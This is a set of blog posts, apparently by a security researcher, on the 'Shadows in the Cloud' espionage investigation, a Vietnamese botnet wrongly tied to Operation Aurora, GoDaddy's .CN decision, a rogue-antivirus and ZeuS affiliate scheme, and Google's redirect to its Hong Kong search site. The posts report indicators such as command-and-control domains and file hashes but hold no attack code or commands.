Today the IWM and the Shadowserver Foundation have released a report “Shadows in the Cloud: An investigation into cyber espionage 2.0” (mirror) in which we document another targeted malware network. (NYT coverage here). We started by exploring one of the malware networks described in the GhostNet report but was an entirely separate malware network that had also compromised computers at the Dalai Lama’s office. I cannot stress just how important the trust, collaboration and information sharing across all those involved in this report from the Citizen Lab, SecDev , and Shadowserver, along with the Dalai Lama’s Office were to the success of the project.

As a result we were able to document another network of compromised government, business, and academic computer systems in India, the Office of the Dalai Lama, and the United Nations as well as numerous other institutions, including the Embassy of Pakistan in the United States.

In the report we enumerated a complex and tiered command and control infrastructure. The attackers misused a variety of services including Twitter, Google Groups, Blogspot, Baidu Blogs, blog.com and Yahoo! Mail in order to maintain persistent control over the compromised computers. This top layer directed compromised computers to accounts on free web hosting services, and as the free hosting servers were disabled, to a stable core of command and control servers located in China.

This time, unlike GhostNet, we were able to recover data, some of which are highly sensitive, from a drop zone used by the attackers. One day, while exploring open directories on one of the command and control servers I noticed that there were files in a directory that was normally empty. It turned out that the attackers were directing compromised computers to upload data to this directory; the attackers subsequently moved the data off to another location and deleted the files at fairly rapid, but intermittent time intervals.

We recovered a wide variety of documents including one document that appears to be encrypted diplomatic correspondence, two documents marked “SECRET”, six as “RESTRICTED” and five as “CONFIDENTIAL” which appear to belong to the Indian government. We also recovered documents including 1,500 letters sent from the Dalai Lama’s office between January and November 2009.

Based on the character of the documents (and not IP addresses) we assessed that we recovered documents from the National Security Council Secretariat (NSCS) of India, the Embassy of India, Kabul, the Embassy of India, Moscow, the Consulate General of India, Dubai, and the High Commission of India in Abuja, Nigeria. In addition, we recovered documents from India’s Military Engineer Services (MES) and other military personnel as well as the Army Institute of Technology in Pune, Maharashtra and the Military College of Electronics and Mechanical Engineering in Secunderabad, Andhra Pradesh. Documents from a variety of other entities including the Institute for Defence Studies and Analyses as well as India Strategic defence magazine and FORCE magazine were compromised.

Questions regarding those who are ultimately responsible for this cyber-espionage network remain unanswered. We were, however, able to benefit from a great investigation by The Dark Visitor who tracked down lost33, the person who registered some of the Shadow network’s domain names that we published in the GhostNet report and his connections ot the underground hacking community in China. Based on the IP and email addresses used by the attackers we were able to link the attackers to several posts on apartment rental sites in Chengdu.

This, of course, does not reveal the role of these specific individuals nor the motivation behind the attacks. However, the connection that The Dark Visitor drew between lost33 and the underground hacking community in China does indicate that motivations such as patriotic hacking and cybercrime may have played a role. Finally, the nature of the data stolen by the attackers does indicate correlations with the strategic interests
of the Chinese state. But, we were unable to determine any direct connection between these attackers and elements of the Chinese state. However, it would not be implausible to suggest that the stolen data may have ended up in the possession of some entity of the Chinese government.

Now having reported this incident to the China CERT — which handles security incidents in China — I look forward to working with them to shut down this malware network.

This is an investigation in progress. There are many threads in this investigation that have still to be fully explored. I hope that this report provides enough detail to allow others with different specializations to continue to explore aspects of the Shadow network enriching our collective understanding of this incident and the broader implications regarding both cyber-crime and cyber-espionage.

Vietnam & Aurora



[UPDATE: See “Vecebot Trojan Analysis” by SecureWorks.]

A while back I wrote a post about “Aurora Mess” in which I tried, unsuccessfully, to make sense of the different assessments of the attacks on Google and at least 20 other companies within the security community. I was trying to grapple with the way in which Google and McAfee were characterizing the attacks as sophisticated while Damballa labeled them amateurish and connected them to some common cybercrime activities. Well, it turns out that it was a confusing for a reason. (And is still confusing, check out Damballa’s reaction to “Aurora Lite“)

Some of the domain names included as part of Aurora turned out to be not part of Aurora. McAfee explains:

While originally some of these domains and files had been reported to be associated with Operation Aurora, we have since come to believe that this malware is unrelated to Aurora and uses a different set of Command & Control servers.

Turns out that these domain names (google.homeunix.com tyuqwer.dyndns.org blogspot.blogsite.org voanews.ath.cx ymail.ath.cx), once included as part of Aurora – an attack traced to China — were now traced Vietnam. It looks the domains were erroneously included as part of Aurora because they were discovered during the Aurora investigation:

We suspect the effort to create the botnet started in late 2009, coinciding by chance with the Operation Aurora attacks. While McAfee Labs identified the malware during our investigation into Operation Aurora, we believe the attacks are not related.

Neel Mehta of Google noted that there may be a political dimension to the attacks:

The malware infected the computers of potentially tens of thousands of users who downloaded Vietnamese keyboard language software and possibly other legitimate software that was altered to infect users. While the malware itself was not especially sophisticated, it has nonetheless been used for damaging purposes. These infected machines have been used both to spy on their owners as well as participate in distributed denial of service (DDoS) attacks against blogs containing messages of political dissent. Specifically, these attacks have tried to squelch opposition to bauxite mining efforts in Vietnam, an important and emotionally charged issue in the country.

In terms of the attack vector, McAfee’s Kurtz stated:

We believe the attackers first compromised www.vps.org, the Web site of the Vietnamese Professionals Society (VPS), and replaced the legitimate keyboard driver with a Trojan horse. The attackers then sent an e-mail to targeted individuals which pointed them back to the VPS Web site, where they downloaded the Trojan instead.

To Summarize, from Google and McAfee, we have:

  • Command and control servers are google.homeunix.com tyuqwer.dyndns.org blogspot.blogsite.org voanews.ath.cx ymail.ath.cx
  • The botnet started in late 2009, coinciding with the Aurora attacks, which would make the date mid-December
  • There were targeted attacks that encouraged the download of malicious software from www.vps.org which had already been compromise and was hosting the malware
  • The malware, W32/VulcanBot, was disguised as a Vietnamese keyboard driver
  • This botnet DDoSed sites that opposed a bauxite mine in Vietnam

The website that may have been DDoS’d in connection with the bauxite mine may have been bauxitevietnam.info.

The AP’s Ben Stocking reports that:

Last fall, the government detained several bloggers who criticized the bauxite mine, and in December, a Web site called bauxitevietnam.info, which had drawn millions of visitors opposed to the mine, was hacked.

Stocking also reported:

Vietnam has hired a Chinese company to build the plant to process bauxite taken from the mines and hundreds of Chinese are reportedly working there.

Vietnam has some of the world’s largest reserves of bauxite, the primary ingredient in aluminum. The government has argued that the mine would bring economic benefits to the impoverished Central Highlands.

Opponents say the project would cause major environmental problems and have raised the specter of Chinese workers flooding into the strategically sensitive region.

OK, so maybe there is a China connection. Or maybe not.

McAfee points out that:

The command and control servers were predominantly being accessed from IP addresses in Vietnam.

Ok, back to the Aurora mess. Damballa found a sample on 2009-08-19 which they classified as Fake AV / Scareware masquerading as Microsoft Antispyware Services. This malware used several of the same command and control servers as noted by McAfee (google.homeunix.com
voanews.ath.cx ymail.ath.cx) along with more yahoo.blogdns.net, ec2-79-125-21-42.eu-west-1.compute.amazonaws.com, and ip-173-201-21-161.ip.secureserver.net inekoncuba.inekon.co.cu.

8 April 2009 – bb2aa6bf91388242dcff552eb476c545
16 April 2009 – 4488dea2071f0818d3b6269a061c2df6
3 December 2009 – 69baf3c6d3a8d41b789526ba72c79c2d
20 January 2010 – 7ee6628b8caeef57607e5426261b8c0c

McAfee has the date for W32/Vulcanbot as 01/23/2010 nine months after a sample was submitted to a ThreatExpert with common command and control servers. Is this really a new botnet? What are the apparently politically motivated attacks doing with rogue AV and typical crimeware junk? Without detailed information about the Vietnamese case its very difficult to make an accurate assessment.

GoDaddy, .CN, Malware & Freedom of Expression



The domain registrar GoDaddy testified before the U.S. Congressional-Executive Commission on China and stated that they would “discontinue offering new .CN domain names” citing concerns over an “increase in China’s surveillance and monitoring of the Internet activities of its citizens” and the “chilling effect” that the retroactive application of new requirements on .CN domain names would have.

CNNIC, which regulates the .CN ccTLD, introduced new requirements in December 2009 on registrations which many in the security community welcomed. .CN domain names are often used for malicious purposes. McAfee has listed .CN as one of the riskiest ccTLD’s. MalwareURL.com and MalwareDomainList.com (two amazing malware/security resources) have collected numerous .CN domain names used to distribute malware. The AV company Kaspersky noted:

Over the last 3–4 years, China has become the leading source of malware. Chinese cybercriminals have shown themselves to be capable of creating such huge volumes of malware that over the last two years, antivirus companies have, without exception, put most of their effort into combating Chinese malware.

However, a lot of the malware activity coming from China is because Eastern European criminal networks moved and are now abusing Chinese infrastructure, .CN domains as well as IP addresses.

Sophos noted that the regulations were having an effect. There was a decrease in spam and Sophos attributed this to the new CNNIC regulations. Symantec noted that .CN registrations used for spam were down and .RU registrations had taken their place.

Others were unsure. StopBadWare noted that since there was a 5 day grace period that would be enough time for the malicious use of .CN domain names. Many, including Isaac Mao, also raised privacy and freedom expression issues arguing that this was a crackdown on freedom of expression.

GoDaddy is now framing their decision to “discontinue offering new .CN domain names” as a freedom of expression issue. Back in 2004 I wrote about GoDaddy’s practice of denying access to its services form certain countries. Others have also had issues with GoDaddy regarding freedom of expression. In other cases, GoDaddy (among other registrars) have been criticized for being too slow to act.

So in trying to get an understanding of what’s going on, I found portions of GoDaddy’s testimony quite interesting. In particular, I’m interested in the emphasis on “Chinese nationals.”

On February 3, 2010, CNNIC announced that it would reopen .CN domain name registrations to overseas registrars. However, the stringent new identification and documentation procedures would remain in effect. CNNIC also announced an audit of all .CN domain name registrations currently held by Chinese nationals. Domain name registrars, including Go Daddy, were then instructed to obtain photo identification, business identification, and physical signed registration forms from all existing .CN domain name registrants who are Chinese nationals, and to provide copies of those documents to CNNIC. We were advised that domain names of registrants who did not register as required would no longer resolve. In other words, their domain names would no longer work.

Now, what I am unclear on is how the requirements affects non-Chinese national who a registering malware domains, pushing rogue antivirus, sending spam and all sorts ofnasty things. These regulation seems to largely target Chinese nationals — not the nationals of other countries who may be using .CN domains for malicious purposes. GoDaddy concluded:

The intent of the new procedures appeared, to us, to be based on a desire by the Chinese authorities to exercise increased control over the subject matter of domain name registrations by Chinese nationals.

We believe that many of the current abuses of the Internet originating in China are due to a lack of enforcement against criminal activities by the Chinese government. Our experience has been that China is focused on using the Internet to monitor and control the legitimate activities of its citizens, rather than penalizing those who commit Internet-related crimes.

I’m having trouble evaluating GoDaddy’s new found (to me anyway) commitment to freedom of expression. I do welcome it and I hope they are serious about it and demonstrate their commitment by joining the Global Network Initiative. But I’m hoping that they don’t confine their interest in freedom of expression solely to China but rather evaluate and assess freedom of expression and privacy across their business operations.

UPDATE:

WP: In response to new rules, GoDaddy to stop registering domain names in China
Dancho Danchev: “With CN/RU requirement for scanned IDs in order to register a domain,underground services are already monetizing the Photoshop-ing process.”

Rogue AV, ZeuS and Spear Phishing



Brian Krebs just posted a great article about avprofit.com, an affiliate program for malware distributors, who get $1 per install. But they don’t just spread rogue (fake) anti-virus software, they also spread ZeuS:

Distributors or “affiliates” who sign up with avprofit.com, for example, are given access to an installer program that downloads not only rogue anti-virus but also ZeuS, a stealthy piece of malware that specializes in mining online banking credentials from infected PCs.

There are some very interesting things about this development:
1. The email address used to register avprofit.com is abuseemaildhcp@gmail.com
2. abuseemaildhcp@gmail.com is the email address used to register updatekernel.com, the domain used in targeted spear phishing attacks
3. The binary that the malware distributors were given to spread (baba913304d400802be62e815579c41a) is the same as the binary used in a targeted spear phishing attack
4. The website that hosted the malware in the spear phishing attack was the same as the one used in another spear phishing attack that used portions of Brian Krebs’ article as lure.
5. The command and control for a number of these attacks was updatekernel.com

Krebs lays out an impressive analysis of the broader ecosystem of these criminal networks. It is even more interesting when we factor in the attacks against .mil & .gov email addresses and the extraction of sensitive documents — as opposed the banking credentials usually targeted by ZeuS — and the sensitive nature of the entities from whom these documents were ex-filtrated.

All for $1 a piece.

google.cn -> google.com.hk



Yesterday Google began redirecting requests for google.cn to google.com.hk effectively ending its years of self-censorship in China. To be clear, Google has not ended censorship in China — Google has ended its own self-censorship.

While searches within the .hk google are not censored by Google, they will still be affected by China’s keyword filtering. This means that queries for certain terms will not get through to google.com.hk search engine and the end user in China will not get any results.

Even if a user in China uses search queries that are not filtered by China and retrieves results from google’s .hk version, they will still be affected by China’s filtering if they click on the link and try and view those results directly.

What’s the difference? Users in China will be affected by China’s filtering, not Google’s. The difference is in the user’s experience — instead of retrieving results and carrying on as if censorship did not exist (disclaimer aside), the user now experiences the censorship first hand.

It is true that the user will not get any results from Google for queries that are filtered by China. this may results in quantitatively less information, but necessarily qualitatively (see here and here). Even if a controversial site slipped through the self-censorship, it would be picked up by China’s filtering if the user tried to access it directly.

The move removes Google from an ethically challenged situation and has raised awareness globally regarding China’s censorship practices.

Remember: Microsoft and Yahoo! are still censoring their China facing search engines.